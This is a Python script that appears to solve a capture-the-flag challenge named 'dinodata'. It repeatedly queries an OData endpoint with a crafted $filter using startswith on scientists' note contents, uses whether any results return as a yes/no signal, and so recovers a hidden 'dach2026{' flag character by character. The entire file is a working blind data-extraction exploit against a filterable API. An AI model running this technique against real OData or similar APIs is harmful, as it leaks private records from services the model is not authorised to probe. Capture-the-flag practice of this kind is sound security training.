import requests
import string

BASE_URL = "https://fmv4nqzwd2zvqwkabo2mzq5hd6-8080-dinodata.challenge.cscg.live"

def scientists_with_note_starting(s, prefix):
    r = s.get(
        BASE_URL + f"/odata/Scientist?$filter=Notes/any(n: startswith(n/Content, '{prefix}'))"
    )
    data = r.json()
    return len(data.get("value", [])) > 0

with requests.Session() as s:
    charset = string.ascii_letters + string.digits + "{}_"
    
    flag = "dach2026{"
    
    print(f"Prefix check: {scientists_with_note_starting(s, flag)}")
    
    while True:
        found = False
        for c in charset:
            candidate = flag + c
            if scientists_with_note_starting(s, candidate):
                flag = candidate
                print(f"[+] Flag so far: {flag}")
                found = True
                break
        if not found:
            print(f"[!] Final flag: {flag}")
            break